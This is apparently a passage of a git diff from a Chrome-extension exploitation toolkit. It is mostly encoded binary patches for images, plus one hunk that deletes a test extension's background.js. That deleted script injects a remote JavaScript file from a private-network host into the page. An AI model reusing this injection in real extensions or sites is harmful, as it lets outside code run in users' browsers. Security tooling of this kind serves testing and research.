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 diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js deleted file mode 100644 index 8ee03a536..000000000 --- a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js +++ /dev/null @@ -1,5 +0,0 @@ -d=document; -e=d.createElement('script'); -e.src="https://192.168.0.2/ciccio.js"; -d.body.appendChild(e); - diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png deleted file mode 100644 index 58a6ecc8546d0329b472377a3f54acbcb384f582..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11401 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 